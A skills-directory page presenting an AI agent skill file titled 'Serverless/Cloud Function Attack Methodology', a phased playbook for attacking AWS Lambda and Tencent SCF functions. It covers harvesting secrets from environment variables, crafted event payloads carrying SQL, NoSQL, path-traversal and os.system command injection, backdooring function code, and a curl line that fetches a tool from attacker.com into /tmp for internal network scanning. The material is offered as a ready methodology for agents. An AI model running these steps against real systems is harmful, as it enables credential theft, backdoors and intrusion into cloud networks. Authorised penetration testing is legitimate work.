Installs into .claude/skills of the current project.
Sponsors
SSkills DirectorySkills Directory
Know which skills are safe — weekly.
SSkills DirectorySkills Directory
Is that skill safe to install?
Are you the author of Serverless Attack?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/blackfoxxx-serverless-attack)
---
name: serverless-attack
description: "Serverless: function env secrets, event injection, IAM scope"
metadata:
tags: "serverless,lambda,scf,cloud-function,function,api-gateway,event-injection,environment-variables,runtime,layer,trigger,temporary-credentials"
category: "cloud"
mcps: autopen, pentest mcp, context1337
---
# Serverless/Cloud Function Attack Methodology
Serverless functions run in ephemeral containers — traditional persistence and lateral movement approaches don't apply. The focus is: event injection (input tampering), credential extraction (env vars/temporary tokens), and code injection (modifying function code).
## Per-Platform Detailed Commands
After identifying the cloud platform, load the corresponding reference for complete commands:
- AWS Lambda → [references/lambda-techniques.md](references/lambda-techniques.md)
- Tencent Cloud SCF → [references/scf-techniques.md](references/scf-techniques.md)
## Phase 0: Generic Reconnaissance
Regardless of cloud platform, the first step is to enumerate function lists and retrieve function details (code + config + env vars). See the corresponding reference for specific commands.
## Phase 1: Environment Variable Extraction (Fastest Way to Get Credentials)
Developers often hardcode database passwords, API keys, and other service credentials in environment variables. Common sensitive variable names:
- `DB_PASSWORD`, `DATABASE_URL`, `MONGODB_URI`
- `AWS_ACCESS_KEY_ID` (nested credentials), `TENCENTCLOUD_SECRET_ID`
- `SECRET_KEY`, `JWT_SECRET`, `API_KEY`
- `REDIS_URL`, `SMTP_PASSWORD`
## Phase 2: Function Code Analysis
```python
# Search for hardcoded credentials
grep -rn "password\|secret\|key\|token\|credential" lambda_code/
# Search for unsafe input handling
grep -rn "eval\|exec\|os.system\|subprocess\|pickle\|yaml.load" lambda_code/
# Search for SQL concatenation
grep -rn "format\|f'\|%s.*query\|execute" lambda_code/
# Check dependency versions
cat lambda_code/requirements.txt # Python
cat lambda_code/package.json # Node.js
```
## Phase 3: Event Injection
Serverless functions are triggered by "events" — event data is the input. If a function doesn't properly validate event data, injection is possible.
### 3.1 API Gateway → Lambda/SCF Injection
API Gateway wraps HTTP requests as events and passes them to functions:
```json
{
"httpMethod": "POST",
"path": "/api/query",
"queryStringParameters": {"id": "1' OR '1'='1"},
"body": "{\"username\": {\"$ne\": \"\"}}",
"headers": {"X-Forwarded-For": "127.0.0.1"}
}
```
Common injection points:
- `queryStringParameters` → SQL/NoSQL injection
- `body` → deserialization / command injection
- `headers` → SSRF / log injection
- `pathParameters` → path traversal
### 3.2 OSS/COS/S3 Trigger Injection
Object storage triggers pass file information as events:
```json
{
"Records": [{
"s3": {
"bucket": {"name": "my-bucket"},
"object": {"key": "../../../etc/passwd"}
}
}]
}
```
If the function uses `event['key']` to construct a file path for `open()` → path traversal.
If the function processes uploaded file content (XML/image/CSV) → XXE/SSRF/command injection.
### 3.3 Message Queue Triggers
SQS/CMQ/Kafka messages are passed as events:
```json
{"Records": [{"body": "'; import os; os.system('id'); '"}]}
```
## Phase 4: Code Injection/Replacement
Requires UpdateFunctionCode permission. See the corresponding cloud platform reference for specific commands.
Core idea: replace the function with malicious code that both performs the original function and plants a backdoor (e.g., accepting a `cmd` parameter to execute commands).
### Layer Hijacking (AWS Lambda Specific)
Lambda Layers are shared code libraries — modifying a Layer affects all functions that use it. See [references/lambda-techniques.md](references/lambda-techniques.md).
## Phase 5: Runtime Environment Exploitation
### /tmp Directory Exploitation
The function's /tmp is the only writable directory, and it persists across "warm start" invocations:
```bash
# Write tools to /tmp
curl -o /tmp/fscan http://attacker.com/fscan && chmod +x /tmp/fscan
# If the function has internal network access (in VPC), use /tmp tools for internal scanning
/tmp/fscan -h 172.16.0.0/16 -p 22,3306,6379
```
## Decision Tree
```
Discovered a serverless function
├─ Identify cloud platform → load corresponding reference (lambda-techniques / scf-techniques)
├─ Has GetFunction permission → download code → audit → find vulnerabilities/credentials
├─ Has GetFunctionConfiguration permission → read env vars → extract credentials
├─ Has UpdateFunctionCode permission → inject backdoor → RCE
├─ Has Invoke permission → craft malicious event → event injection
├─ Only API Gateway entry → HTTP request-layer injection (SQLi/NoSQL/SSRF)
└─ No direct permissions → upload malicious file via S3/COS trigger
```